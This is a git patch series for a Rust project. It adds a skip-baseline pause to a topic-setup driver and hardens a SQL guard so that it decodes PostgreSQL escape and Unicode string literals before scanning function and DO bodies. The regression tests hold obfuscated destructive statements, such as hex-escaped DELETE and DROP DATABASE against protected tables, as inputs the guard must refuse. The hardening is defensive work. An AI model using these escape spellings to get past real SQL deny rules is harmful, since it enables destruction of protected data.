+1289,7 @@ async fn an_experiment_topic_measures_its_baseline_in_a_dedicated_vm() { let mut leaky = draft.clone(); leaky.id = "topic-b".into(); let err = setup - .run(&leaky, &pin, &offer()) + .run(&leaky, &pin, Some(&offer())) .await .expect_err("unconfirmed destroy withholds the baseline"); assert!( @@ -1314,3 +1316,133 @@ async fn an_experiment_topic_measures_its_baseline_in_a_dedicated_vm() { ); let _ = std::fs::remove_dir_all(&root); } + +/// `skip_baseline` stops after the rules land, and a later run resumes. +/// +/// This is the flag the operator CLI passes for a staging install: the point +/// is to prove the install path without paying for a baseline. It must be a +/// **pause**, not a different path — the lifecycle is left at `baselining` +/// with the rules installed, and a second run without the flag measures the +/// baseline from exactly there rather than starting over. +#[tokio::test] +async fn skipping_the_baseline_pauses_and_a_later_run_resumes() { + let root = tmp_root("skip-baseline"); + let key = root.join("owner_key"); + let orchestrator = Arc::new(FakeOrchestrator::new()); + let rlm_store: Arc = Arc::new(MemoryRlmStore::new()); + let mut draft = topic(); + draft.status = TopicStatus::Draft; + draft.holdout_commitment = holdout_commitment(&synthetic_holdout(STRATUM_SIZE, 1)); + draft.baseline.script_sha256 = "11".repeat(32); + draft.baseline.metrics_commitment.clear(); + let pin = pin(); + + let mut setup = TopicSetup { + orchestrator: orchestrator.clone(), + store: rlm_store.clone(), + template: pinned_template(), + experiments: proof_rlm::ExperimentPolicy::default(), + owner: Arc::new(StaticOwnerHook(OwnerDecision::Approve)), + keys: Arc::new(FileKeysProbe::new(&key)), + spend_cap_usd: None, + skip_baseline: true, + }; + let out = setup + .run(&draft, &pin, Some(&offer())) + .await + .expect("skip-baseline run"); + assert!( + out.baseline_primary.is_none(), + "no baseline was measured, so there is nothing to seal" + ); + assert!(!out.measured_baseline()); + assert_eq!(out.rules_version, 1, "the RLM's rules were still installed"); + let rules = rlm_store.current_rules(&draft.id).await.unwrap().unwrap(); + assert_eq!(rules.version, 1); + assert!( + rlm_store.baseline(&draft.id).await.unwrap().is_none(), + "a skipping run writes no baseline row" + ); + // No baseline job was forwarded: only the rules proposal ran. + let runs = orchestrator.runs(); + assert_eq!(runs.len(), 1, "{runs:?}"); + assert!( + matches!(runs[0].1, VmJob::ProposeRules { .. }), + "only the rules proposal ran" + ); + assert_eq!( + rlm_store.lifecycle(&draft.id).await.unwrap().unwrap().state, + RlmState::Baselining, + "the lifecycle is left exactly where a resume picks up" + ); + + // A later run without the flag resumes from `baselining` and measures. + setup.skip_baseline = false; + let resumed = setup + .run(&draft, &pin, Some(&offer())) + .await + .expect("the resume measures the baseline"); + assert!(resumed.measured_baseline()); + assert_eq!( + resumed.rules_version, 1, + "the rules are not re-versioned by the resume" + ); + assert!( + rlm_store.baseline(&draft.id).await.unwrap().is_some(), + "the resume recorded the baseline" + ); + let runs = orchestrator.runs(); + assert!( + runs.iter() + .any(|(_, job)| matches!(job, VmJob::Baseline { .. })), + "the resume forwarded the baseline job: {runs:?}" + ); + let _ = std::fs::remove_dir_all(&root); +} + +/// A baseline asked for with no judge offer is a refusal, not a placeholder +/// run: the offer is what binds the measurement to a backend. +#[tokio::test] +async fn measuring_a_baseline_without_an_offer_is_refused() { + let root = tmp_root("no-offer"); + let key = root.join("owner_key"); + let orchestrator = Arc::new(FakeOrchestrator::new()); + let rlm_store: Arc = Arc::new(MemoryRlmStore::new()); + let mut draft = topic(); + draft.status = TopicStatus::Draft; + draft.holdout_commitment = holdout_commitment(&synthetic_holdout(STRATUM_SIZE, 1)); + draft.baseline.metrics_commitment.clear(); + let pin = pin(); + let setup = TopicSetup { + orchestrator: orchestrator.clone(), + store: rlm_store.clone(), + template: pinned_template(), + experiments: proof_rlm::ExperimentPolicy::default(), + owner: Arc::new(StaticOwnerHook(OwnerDecision::Approve)), + keys: Arc::new(FileKeysProbe::new(&key)), + spend_cap_usd: None, + skip_baseline: false, + }; + let err = setup + .run(&draft, &pin, None) + .await + .expect_err("no offer, no baseline"); + assert!(matches!(err, SetupError::NoOffer), "{err}"); + assert!(err.to_string().contains("skip_baseline"), "{err}"); + assert_eq!( + orchestrator.created(), + 0, + "the refusal happens before any vm exists" + ); + + // The same setup with `skip_baseline` does not need one. + let setup = TopicSetup { + skip_baseline: true, + ..setup + }; + setup + .run(&draft, &pin, None) + .await + .expect("a skipping run needs no offer"); + let _ = std::fs::remove_dir_all(&root); +} diff --git a/crates/proof-topic-setup/Cargo.toml b/crates/proof-topic-setup/Cargo.toml new file mode 100644 index 000000000..e3d3b091f --- /dev/null +++ b/crates/proof-topic-setup/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "proof-topic-setup" +description = "Proof topic setup driver: the agentic lifecycle from draft to a sealed baseline, with the RLM doing its work inside the topic VM (owner hook, key probe, provision, rule proposal, baseline)" +version.workspace = true +edition.workspace = true +license.workspace = true +repository.workspace = true +rust-version.workspace = true +publish = false + +[dependencies] +proof-eval = { path = "../proof-eval" } +proof-rlm = { path = "../proof-rlm" } +proof-rlm-store = { path = "../proof-rlm-store" } +proof-task = { path = "../proof-task" } +thiserror = "2" + +[dev-dependencies] +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } + +[lints] +workspace = true diff --git a/crates/proof-rlm-scorer/src/setup.rs b/crates/proof-topic-setup/src/lib.rs similarity index 81% rename from crates/proof-rlm-scorer/src/setup.rs rename to crates/proof-topic-setup/src/lib.rs index df5d7725d..133dee778 100644 --- a/crates/proof-rlm-scorer/src/setup.rs +++ b/crates/proof-topic-setup/src/lib.rs @@ -15,6 +15,23 @@ //! lands in the store. A missing orchestrator, a declined owner, or a //! missing key file stops the driver where it is, with the reason, and a //! re-run resumes from the persisted state. +//! +//! # This crate exists so `proof-admin` can drive it +//! +//! The driver lives in its own crate because it has **two** callers with +//! different lifetimes: the challenge service drives it per submission, and +//! the operator CLI (`proof-admin topic install --drive-rlm`) drives it once +//! at install time. Keeping it beside the scorer would have pushed that crate +//! past the repository's per-crate LOC cap, and the driver has no dependency +//! on scoring: it needs the VM boundary, the store, and the lifecycle. + +#![forbid(unsafe_code)] +#![allow( + clippy::missing_errors_doc, + clippy::doc_markdown, + clippy::module_name_repetitions, + clippy::must_use_candidate +)] use std::sync::Arc; @@ -63,6 +80,12 @@ pub enum SetupError { /// the RLM measured in the topic VM. #[error("seal: {0}")] Seal(String), + /// A baseline would be measured but there is no judge offer to bind it to. + #[error( + "no inference offer: the baseline is a paid run and needs a live judge offer to bind \ + (or set skip_baseline, which measures none)" + )] + NoOffer, } /// What setup produced for the operator to seal. @@ -75,7 +98,18 @@ pub struct SetupOutcome { /// Rule version in force after the RLM wrote its rules. pub rules_version: u32, /// Baseline primary the operator seals as `custom_value`. - pub baseline_primary: f64, + /// + /// `None` when [`TopicSetup::skip_baseline`] was set: no baseline was + /// measured, so there is nothing to seal and the topic cannot open yet. + pub baseline_primary: Option, +} + +impl SetupOutcome { + /// Whether this run measured a baseline. + #[must_use] + pub const fn measured_baseline(&self) -> bool { + self.baseline_primary.is_some() + } } /// Everything the driver needs; no secrets. @@ -96,6 +130,15 @@ pub struct TopicSetup { pub keys: Arc, /// Spend cap shown to the owner, if any. pub spend_cap_usd: Option, + /// Stop after the RLM's rules are installed, before the baseline job. + /// + /// The operator CLI sets this for a staging install, where provisioning a + /// VM and running a paid baseline is the expensive part and the point is + /// to prove the install path. A topic installed this way has **no** + /// measured baseline, so it cannot open until one is sealed — the + /// lifecycle is left at `baselining`, and a later run without the flag + /// resumes from there rather than restarting. + pub skip_baseline: bool, } impl TopicSetup { @@ -290,6 +333,18 @@ impl TopicSetup { /// Drive `draft → … → baselining` and run the RLM's rule + baseline jobs. /// + /// `offer` is the live judge offer the **baseline** runs against, so it is + /// `None` only on the [`TopicSetup::skip_baseline`] path: with no baseline + /// to measure there is no paid run and nothing for an offer to bind. Any + /// other combination is a refusal naming what is missing, rather than a + /// placeholder offer that would silently bind a run to nothing. + /// + /// With `skip_baseline` the driver stops after the RLM's rules land: the + /// VM is provisioned, the rules are installed, and + /// [`SetupOutcome::baseline_primary`] is `None`. The lifecycle is left at + /// `baselining`, which is exactly where a later run without the flag + /// resumes — so skipping is a pause, not a different path. + /// /// # Errors /// /// See [`SetupError`]. The lifecycle is left where the failure happened @@ -298,11 +353,14 @@ impl TopicSetup { &self, topic: &TopicDocument, pin: &ProofPin, - offer: &InferenceOffer, + offer: Option<&InferenceOffer>, ) -> Result { if topic.metric.family != MetricFamily::Custom { return Err(SetupError::NotCustom(topic.id.clone())); } + if offer.is_none() && !self.skip_baseline { + return Err(SetupError::NoOffer); + } if self.store.latest_topic(&topic.id).await?.is_none() { self.store.put_topic_version(topic).await?; } @@ -317,6 +375,19 @@ impl TopicSetup { } let vm = self.provision(topic, pin, &mut lc).await?; let rules = self.propose_rules(topic, &vm).await?; + if self.skip_baseline { + return Ok(SetupOutcome { + topic_id: topic.id.clone(), + vm, + rules_version: rules.version, + baseline_primary: None, + }); + } + let Some(offer) = offer else { + // Unreachable: checked above. Kept as a refusal rather than an + // `expect`, because the workspace forbids panics in non-test code. + return Err(SetupError::NoOffer); + }; let report = self .baseline(topic, pin, offer, &rules, &vm, &mut lc) .await?; @@ -324,7 +395,7 @@ impl TopicSetup { topic_id: topic.id.clone(), vm, rules_version: rules.version, - baseline_primary: report.primary_value, + baseline_primary: Some(report.primary_value), }) } From 62e2a474e3eaffd0ae9af2a978d7cfd5eb3efea5 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 17:29:53 +0000 Subject: [PATCH 07/11] fix(proof): decode escaped literals before scanning a topic body MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A topic migration may write its function body as a string literal, and PostgreSQL executes the *decoded* value. The guard scanned the written spelling, so `E'\x44ELETE FROM proof\x5frule\x5fversion'` reached a `proof_*` object without ever matching a deny rule. Decode every literal form PostgreSQL reads before scanning a body: - `E'…'`: backslash escapes (`\xhh`, `\ooo`, `\uXXXX`, `\UXXXXXXXX`, `\'`, `\\`) and `''` doubling. - `U&'…'`: `XXXX` / `+XXXXXX` code points, with the escape character a following `UESCAPE 'c'` clause names. - Adjacent literals separated by a newline, which PostgreSQL joins into one string (`'DROP TABLE proof'` + `'_topic_version'`). - `CREATE PROCEDURE … AS '…'` and `DO '…'`, whose literals are code the same way a function body is. Both the decoded value and the written spelling are scanned, and a sequence PostgreSQL would refuse is kept as written. Four regression tests fail without this change. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- crates/proof-topic-sql-guard/src/lib.rs | 450 ++++++++++++++++-- .../proof-topic-sql-guard/tests/sql_guard.rs | 119 +++++ 2 files changed, 533 insertions(+), 36 deletions(-) diff --git a/crates/proof-topic-sql-guard/src/lib.rs b/crates/proof-topic-sql-guard/src/lib.rs index 917669306..a265049d5 100644 --- a/crates/proof-topic-sql-guard/src/lib.rs +++ b/crates/proof-topic-sql-guard/src/lib.rs @@ -32,6 +32,23 @@ //! the scanner does not recognise becomes a reviewed edit to this module //! rather than a runtime surprise. //! +//! # Literals are decoded, not read as written +//! +//! A function body may be written as a **string literal** rather than a +//! dollar-quoted one, and PostgreSQL does not execute the characters between +//! the quotes — it executes the *decoded* value. The scanner therefore +//! decodes every form PostgreSQL accepts before it scans a body, because a +//! denied statement spelled in an escape is still that statement: +//! +//! | Form | What PostgreSQL runs | +//! |------|----------------------| +//! | `'…''…'` | the doubled quote is one `'` | +//! | `E'\x44ELETE FROM …'` | `DELETE FROM …` (`\x44` is `D`) | +//! | `E'\104RANT …'` | `GRANT …` (octal, `\u`/`\U` likewise) | +//! | `E'…\'…'` | the backslash escapes the quote, so the body does not end there | +//! | `U&'\0044ELETE …'` | `DELETE …` (Unicode escapes, `UESCAPE 'c'` honoured) | +//! | `'DROP TABLE proof'`⏎`'_topic_version'` | one concatenated string | +//! //! Two limitations are worth stating plainly, because a reader should not //! assume more than this buys: //! @@ -298,34 +315,37 @@ pub fn split_statements(sql: &str) -> Vec { out } -/// Build a [`Statement`], adding any single-quoted **function body** to the +/// Build a [`Statement`], adding any **code-carrying string literal** to the /// scanned bodies. /// -/// PostgreSQL accepts a function body as a single-quoted string as well as a +/// PostgreSQL accepts a function body as a string literal as well as a /// dollar-quoted one: /// /// ```sql /// CREATE FUNCTION f() RETURNS void AS 'DELETE FROM proof_rule_version' LANGUAGE sql; +/// CREATE PROCEDURE p() AS E'\x44ROP TABLE proof_topic_version' LANGUAGE sql; +/// DO U&'\0044ELETE FROM proof_rule_version'; /// ``` /// /// The string-literal branch blanks that body in `blanked` (a literal is /// normally *data*, not code), so without this step the body would be executed /// without ever being scanned — a topic could install a function that reaches /// a `proof_*` object by wrapping the statement in `AS '…'`. When the -/// statement is a function definition, its string literals are therefore -/// decoded and appended to [`Statement::bodies`], which -/// [`check_statement`] scans exactly as it scans a dollar-quoted body. -/// -/// The detection is deliberately broad: any statement mentioning `FUNCTION` -/// and `AS` has its literals scanned. A false positive costs a migration -/// nothing (its literals are inert text that will not match a deny rule); a -/// false negative would be the hole above. +/// statement is one whose literal is code, that literal is therefore decoded +/// and appended to [`Statement::bodies`], which [`check_statement`] scans +/// exactly as it scans a dollar-quoted body. +/// +/// The detection is deliberately broad inside that class: any statement +/// mentioning `FUNCTION`/`PROCEDURE` and `AS`, or whose head is `DO`, has its +/// literals scanned. A false positive costs a migration nothing (its literals +/// are inert text that will not match a deny rule); a false negative would be +/// the hole above. fn finish_statement(ordinal: usize, text: &str, blanked: &str, bodies: &str) -> Statement { let mut bodies = bodies.to_owned(); - if is_function_definition(blanked) { - for literal in single_quoted_literals(text) { + if carries_code_in_literals(blanked) { + for snippet in code_literals(text) { bodies.push(' '); - bodies.push_str(&literal); + bodies.push_str(&snippet); } } Statement { @@ -336,45 +356,403 @@ fn finish_statement(ordinal: usize, text: &str, blanked: &str, bodies: &str) -> } } -/// Whether a statement defines a function (so its string literals are code). -fn is_function_definition(blanked: &str) -> bool { - has_word(blanked, "FUNCTION") && has_word(blanked, "AS") +/// Whether a statement's string literals are **code** rather than data. +/// +/// Three forms carry code in a literal: +/// +/// - `CREATE [OR REPLACE] FUNCTION … AS `, +/// - `CREATE [OR REPLACE] PROCEDURE … AS ` (same shape, different +/// object kind), and +/// - `DO [LANGUAGE lang] `, which is a literal body by definition. +/// +/// The `DO` test is a **statement-head** test, not a word search, so +/// `INSERT … ON CONFLICT … DO UPDATE …` (whose literals are ordinary data) +/// is not dragged in. +fn carries_code_in_literals(blanked: &str) -> bool { + if has_word(blanked, "AS") && (has_word(blanked, "FUNCTION") || has_word(blanked, "PROCEDURE")) + { + return true; + } + let head = blanked.trim_start(); + head.len() > 2 + && head[..2].eq_ignore_ascii_case("DO") + && head[2..].starts_with(char::is_whitespace) } -/// Every single-quoted literal in `text`, decoded (`''` → `'`). +/// The literal code a statement carries, decoded as PostgreSQL would execute +/// it. /// -/// Doubled quotes are decoded so the scanned text is what PostgreSQL would -/// execute, not the escaped spelling: a body that smuggles a denied statement -/// as `''`-escaped text is still caught. -fn single_quoted_literals(text: &str) -> Vec { +/// Every literal in a code-carrying statement is included, not only the one +/// after `AS`: PostgreSQL's grammar puts the body literal wherever the +/// operator wrote it, and a deny rule that only read the first one would be a +/// hole the operator could reach by reordering two clauses. +/// +/// Each literal contributes up to two snippets — its **decoded** value (what +/// the server runs) and its **raw** spelling (what the operator wrote, when +/// the two differ) — plus the concatenation of any run of literals that +/// PostgreSQL would join into one string. +fn code_literals(text: &str) -> Vec { let chars: Vec = text.chars().collect(); + let literals = scan_literals(&chars); + let mut out: Vec = Vec::new(); + let mut joined: Option = None; + for (i, literal) in literals.iter().enumerate() { + let concatenated_with_previous = i > 0 + && i.checked_sub(1).is_some_and(|p| { + let prev = &literals[p]; + let gap: String = chars + .get(prev.end..literal.start) + .unwrap_or_default() + .iter() + .collect(); + !gap.is_empty() && gap.chars().all(char::is_whitespace) && gap.contains('\n') + }); + if concatenated_with_previous { + let base = joined + .take() + .unwrap_or_else(|| literals[i - 1].decoded.clone()); + joined = Some(base + &literal.decoded); + } else if let Some(done) = joined.take() { + push_snippet(&mut out, &done); + } + push_snippet(&mut out, &literal.decoded); + if literal.raw != literal.decoded { + push_snippet(&mut out, &literal.raw); + } + } + if let Some(done) = joined { + push_snippet(&mut out, &done); + } + out +} + +/// Append a snippet that carries something to scan. +fn push_snippet(out: &mut Vec, snippet: &str) { + if !snippet.trim().is_empty() { + out.push(snippet.to_owned()); + } +} + +/// The string-literal form a quote opens, which decides how its content is +/// read. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum LiteralKind { + /// `'…'` — `''` is a quote; a backslash is an ordinary character. + Standard, + /// `E'…'` — `''` is a quote, and a backslash escapes what follows + /// (`\x44`, `\104`, `\u0044`, `\'`, `\\`, …). + Escape, + /// `U&'…'` — `''` is a quote, and the escape character (a backslash by + /// default, or whatever a following `UESCAPE 'c'` names) introduces + /// `XXXX` / `+XXXXXX` code points. + Unicode, +} + +/// One string literal found in a statement's text. +struct Literal { + /// Index of the opening quote. + start: usize, + /// Index just past the literal and any `UESCAPE` clause. + end: usize, + /// The content as written between the quotes. + raw: String, + /// The content as PostgreSQL would execute it: escapes decoded. + decoded: String, +} + +/// Every string literal in `chars`, in order. +/// +/// A quote whose form the scanner does not recognise is still read as a +/// standard literal, so nothing between quotes is ever left unblanked in the +/// statement scan. +fn scan_literals(chars: &[char]) -> Vec { let mut out = Vec::new(); let mut i = 0usize; while i < chars.len() { - if chars[i] != '\'' { + let Some((quote, kind)) = literal_start(chars, i) else { + i += 1; + continue; + }; + let literal = read_literal(chars, quote, kind); + i = literal.end.max(quote + 1); + out.push(literal); + } + out +} + +/// Where a string literal starts, and which form it is. +/// +/// The prefix is only a prefix when it is a whole word: `E'…'` is an escape +/// string, `xE'…'` is not. +fn literal_start(chars: &[char], i: usize) -> Option<(usize, LiteralKind)> { + let c = chars[i]; + if c == '\'' { + return Some((i, LiteralKind::Standard)); + } + if !is_word_char(c) || (i > 0 && is_word_char(chars[i - 1])) { + return None; + } + match c { + 'E' | 'e' if chars.get(i + 1) == Some(&'\'') => Some((i + 1, LiteralKind::Escape)), + 'U' | 'u' if chars.get(i + 1) == Some(&'&') && chars.get(i + 2) == Some(&'\'') => { + Some((i + 2, LiteralKind::Unicode)) + } + // Bit and hex strings (`B'1010'`, `X'1f'`) are numbers, not code: + // reading them as standard strings keeps their digits scanned like + // any other literal, which is all a scanner needs from them. + 'B' | 'b' | 'X' | 'x' if chars.get(i + 1) == Some(&'\'') => { + Some((i + 1, LiteralKind::Standard)) + } + _ => None, + } +} + +/// A word character, for the prefix boundary test. +fn is_word_char(c: char) -> bool { + c.is_alphanumeric() || c == '_' +} + +/// Read one literal: its extent, its escape character, and its decoded value. +fn read_literal(chars: &[char], quote: usize, kind: LiteralKind) -> Literal { + let (raw, after) = literal_extent(chars, quote, kind); + // A `U&'…'` string may rename its escape character with a following + // `UESCAPE 'c'` clause. The clause is read **after** the extent, because + // the extent does not depend on it: a `U&` string ends at the first quote + // that is not doubled whatever the escape character is. + let (escape, end) = match kind { + LiteralKind::Unicode => uescape_clause(chars, after), + _ => ('\\', after), + }; + Literal { + start: quote, + end, + decoded: decode_literal(&raw, kind, escape), + raw, + } +} + +/// The raw content between the quotes, and the index just past the closing +/// quote. +/// +/// `''` is always one quote. In an `E'…'` string a backslash escapes the +/// character after it, so `\'` does **not** close the literal — the body runs +/// on, exactly as PostgreSQL reads it. +fn literal_extent(chars: &[char], quote: usize, kind: LiteralKind) -> (String, usize) { + let mut raw = String::new(); + let mut i = quote + 1; + while i < chars.len() { + let c = chars[i]; + if c == '\'' { + if chars.get(i + 1) == Some(&'\'') { + raw.push_str("''"); + i += 2; + continue; + } + return (raw, i + 1); + } + if kind == LiteralKind::Escape && c == '\\' { + raw.push('\\'); i += 1; + if let Some(next) = chars.get(i) { + raw.push(*next); + i += 1; + } continue; } + raw.push(c); i += 1; - let mut literal = String::new(); - while i < chars.len() { - if chars[i] == '\'' { - if chars.get(i + 1) == Some(&'\'') { - literal.push('\''); - i += 2; - continue; - } + } + // Unterminated: the server refuses the statement, so nothing runs. The + // rest of the text is kept as the literal's content, which can only make + // the scan read *more* as code. + (raw, chars.len()) +} + +/// A `U&'…'` string's escape character and the index just past the clause. +/// +/// `UESCAPE 'c'` names the character that introduces a code point; the default +/// is a backslash. A clause PostgreSQL would refuse (a hex digit, `+`, a +/// quote, or a malformed spelling) leaves the default in place rather than +/// inventing a second reading: the statement does not run, so nothing hides. +fn uescape_clause(chars: &[char], after: usize) -> (char, usize) { + let default = ('\\', after); + let mut i = after; + while chars.get(i).is_some_and(|c| c.is_whitespace()) { + i += 1; + } + let word: String = chars.iter().skip(i).take(7).collect(); + if !word.eq_ignore_ascii_case("UESCAPE") { + return default; + } + let mut j = i + 7; + while chars.get(j).is_some_and(|c| c.is_whitespace()) { + j += 1; + } + if chars.get(j) != Some(&'\'') || chars.get(j + 2) != Some(&'\'') { + return default; + } + let Some(c) = chars.get(j + 1).copied() else { + return default; + }; + if c.is_ascii_hexdigit() || matches!(c, '+' | '\'' | '"') { + return default; + } + (c, j + 3) +} + +/// Decode a literal's content the way PostgreSQL reads it. +/// +/// The result is the value the server would execute, so a body that spells a +/// denied statement in escapes is scanned in the form that actually runs. A +/// sequence PostgreSQL would refuse is kept in its written form, which is the +/// conservative read: the statement does not run, and the spelling is scanned +/// too. +fn decode_literal(raw: &str, kind: LiteralKind, escape: char) -> String { + let chars: Vec = raw.chars().collect(); + let mut bytes: Vec = Vec::with_capacity(raw.len()); + let mut i = 0usize; + while i < chars.len() { + let c = chars[i]; + if c == '\'' && chars.get(i + 1) == Some(&'\'') { + bytes.push(b'\''); + i += 2; + continue; + } + match kind { + LiteralKind::Escape if c == '\\' => i = decode_escape(&chars, i, &mut bytes), + LiteralKind::Unicode if c == escape => { + i = decode_unicode_escape(&chars, i, escape, &mut bytes); + } + _ => { + push_char(&mut bytes, c); i += 1; - break; } - literal.push(chars[i]); - i += 1; } - if !literal.trim().is_empty() { - out.push(literal); + } + String::from_utf8_lossy(&bytes).into_owned() +} + +/// Decode one `E'…'` escape sequence, returning the index just past it. +/// +/// `\x` takes one or two hex digits, `\o`/`\oo`/`\ooo` one to three octal +/// digits, `\u` four and `\U` eight hex digits, and any other character after +/// the backslash stands for itself (`\'`, `\\`, `\n`, `\t`, …). A sequence +/// with too few digits is one PostgreSQL refuses; it is kept as written. +fn decode_escape(chars: &[char], start: usize, out: &mut Vec) -> usize { + let mut i = start + 1; + let Some(c) = chars.get(i).copied() else { + out.push(b'\\'); + return i; + }; + i += 1; + match c { + 'b' => out.push(0x08), + 'f' => out.push(0x0c), + 'n' => out.push(b'\n'), + 'r' => out.push(b'\r'), + 't' => out.push(b'\t'), + '0'..='7' => { + let mut value = c.to_digit(8).unwrap_or(0); + for _ in 0..2 { + match chars.get(i).and_then(|d| d.to_digit(8)) { + Some(d) => { + value = value * 8 + d; + i += 1; + } + None => break, + } + } + out.push(u8::try_from(value).unwrap_or(0)); } + 'x' => match hex_at(chars, i, 1, 2) { + Some((value, next)) => { + out.push(u8::try_from(value).unwrap_or(0)); + i = next; + } + None => out.extend_from_slice(b"\\x"), + }, + 'u' => match hex_at(chars, i, 4, 4) { + Some((value, next)) => { + push_code_point(out, value, chars, start, next); + i = next; + } + None => out.extend_from_slice(b"\\u"), + }, + 'U' => match hex_at(chars, i, 8, 8) { + Some((value, next)) => { + push_code_point(out, value, chars, start, next); + i = next; + } + None => out.extend_from_slice(b"\\U"), + }, + other => push_char(out, other), } - out + i +} + +/// Decode one `U&'…'` escape sequence, returning the index just past it. +/// +/// `XXXX` (four hex digits) and `+XXXXXX` (six) are code points, and +/// a doubled escape character is one literal escape character. Anything else +/// is a sequence PostgreSQL refuses, kept as written. +fn decode_unicode_escape(chars: &[char], start: usize, escape: char, out: &mut Vec) -> usize { + let i = start + 1; + let Some(c) = chars.get(i).copied() else { + push_char(out, escape); + return i; + }; + if c == escape { + push_char(out, escape); + return i + 1; + } + if c == '+' { + if let Some((value, next)) = hex_at(chars, i + 1, 6, 6) { + push_code_point(out, value, chars, start, next); + return next; + } + } else if let Some((value, next)) = hex_at(chars, i, 4, 4) { + push_code_point(out, value, chars, start, next); + return next; + } + push_char(out, escape); + i +} + +/// Push a decoded code point as UTF-8, keeping the written spelling when the +/// code point is not one PostgreSQL would accept (a surrogate, or out of +/// range): that statement does not run, and the spelling is scanned as well. +fn push_code_point(out: &mut Vec, value: u32, chars: &[char], start: usize, to: usize) { + match char::from_u32(value) { + Some(c) => push_char(out, c), + None => { + for c in chars.iter().skip(start).take(to.saturating_sub(start)) { + push_char(out, *c); + } + } + } +} + +/// `min..=max` hex digits starting at `i`, as a number and the index past it. +fn hex_at(chars: &[char], i: usize, min: usize, max: usize) -> Option<(u32, usize)> { + let mut value = 0u32; + let mut taken = 0usize; + while taken < max { + let Some(d) = chars.get(i + taken).and_then(|c| c.to_digit(16)) else { + break; + }; + value = value * 16 + d; + taken += 1; + } + if taken < min { + return None; + } + Some((value, i + taken)) +} + +/// Push one character as UTF-8 bytes. +fn push_char(out: &mut Vec, c: char) { + let mut buf = [0u8; 4]; + out.extend_from_slice(c.encode_utf8(&mut buf).as_bytes()); } /// Skip a `/* … */` comment (PostgreSQL allows nesting), returning the index diff --git a/crates/proof-topic-sql-guard/tests/sql_guard.rs b/crates/proof-topic-sql-guard/tests/sql_guard.rs index 73c4d261c..0cc80732b 100644 --- a/crates/proof-topic-sql-guard/tests/sql_guard.rs +++ b/crates/proof-topic-sql-guard/tests/sql_guard.rs @@ -386,6 +386,125 @@ fn an_escaped_quote_in_a_function_body_does_not_hide_a_denied_statement() { ); } +/// An `E'…'` escape string is **decoded** before its body is scanned, because +/// the decoded value is what `PostgreSQL` executes: `\x44ELETE` is `DELETE`. +/// +/// Without the decoding the scanner would read the written spelling, see no +/// denied word, and install a function that reaches a protected object. +#[test] +fn an_escape_string_body_is_decoded_before_scanning() { + // `\x44` is `D`, `\x5f` is `_`: the whole denied name can be spelled in + // escapes, so the written text never contains it. + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS E'\x44ELETE FROM proof\x5frule\x5fversion' LANGUAGE sql", + "proof_", + ); + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS E'\x44ROP DATABASE base' LANGUAGE sql", + "DROP DATABASE", + ); + // Octal (`\107` is `G`), and the `\u` / `\U` code-point spellings. + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS E'\107RANT ALL ON tb4_x TO base_app' LANGUAGE sql", + "GRANT", + ); + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS E'\u0044ELETE FROM proof\x5frule\x5fversion' LANGUAGE sql", + "proof_", + ); + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS E'\U00000044ELETE FROM proof\x5frule\x5fversion' LANGUAGE sql", + "proof_", + ); + // A backslash-escaped quote does not end the body early, so the statement + // after it is still part of the body the server runs. + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS E'SELECT \x27x\x27; DELETE FROM proof\x5frule\x5fversion' LANGUAGE sql", + "proof_", + ); + // The same escapes inside a `DO` body, which is a literal body too. + refused(r"DO E'\x44ROP TABLE proof\x5ftopic\x5fversion'", "proof_"); +} + +/// A `U&'…'` Unicode escape string is decoded too, including the `UESCAPE` +/// clause that renames the escape character. +#[test] +fn a_unicode_escape_string_body_is_decoded_before_scanning() { + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS U&'\0044ELETE FROM proof\005frule\005fversion' LANGUAGE sql", + "proof_", + ); + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS U&'\+000044ROP DATABASE base' LANGUAGE sql", + "DROP DATABASE", + ); + // `UESCAPE '!'` makes `!` the escape character, so a body spelled with + // `!0044` is `DELETE` — the reading has to follow the clause. + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS U&'!0044ELETE FROM proof!005frule!005fversion' UESCAPE '!' LANGUAGE sql", + "proof_", + ); + // A doubled escape character is one literal escape character. + refused( + r"CREATE FUNCTION tb4_f() RETURNS void AS U&'SELECT \\x27; DROP DATABASE base' LANGUAGE sql", + "DROP DATABASE", + ); +} + +/// `CREATE PROCEDURE … AS '…'` and `DO '…'` carry code in a literal exactly +/// as `CREATE FUNCTION … AS '…'` does, so they are scanned the same way. +#[test] +fn every_literal_body_form_is_scanned() { + refused( + "CREATE PROCEDURE tb4_p() AS 'DELETE FROM proof_rule_version' LANGUAGE sql", + "proof_", + ); + refused( + r"CREATE PROCEDURE tb4_p() AS E'\x44ROP DATABASE base' LANGUAGE sql", + "DROP DATABASE", + ); + refused("DO 'DELETE FROM proof_rule_version'", "proof_"); + refused( + "DO LANGUAGE plpgsql 'GRANT ALL ON tb4_x TO base_app'", + "GRANT", + ); + // `ON CONFLICT … DO UPDATE …` is a write whose literals are data: the + // `DO` test is a statement-head test, not a word search. + allowed("INSERT INTO tb4_scratch (id) VALUES ('DELETE FROM proof_rule_version') ON CONFLICT (id) DO UPDATE SET id = 'b'"); +} + +/// Two literals separated by whitespace containing a newline are **one** +/// string to `PostgreSQL`, so a denied name split across them is still refused. +#[test] +fn literals_postgresql_concatenates_are_scanned_as_one() { + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'DROP TABLE proof'\n'_topic_version' LANGUAGE sql", + "proof_", + ); + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'GRANT ALL ON tb4_x'\n' TO base_app' LANGUAGE sql", + "GRANT", + ); + // Without the newline `PostgreSQL` does not concatenate them (and refuses + // the statement), so the topic's own namespace is still allowed. + allowed("CREATE FUNCTION tb4_f() RETURNS void AS 'SELECT 1 FROM 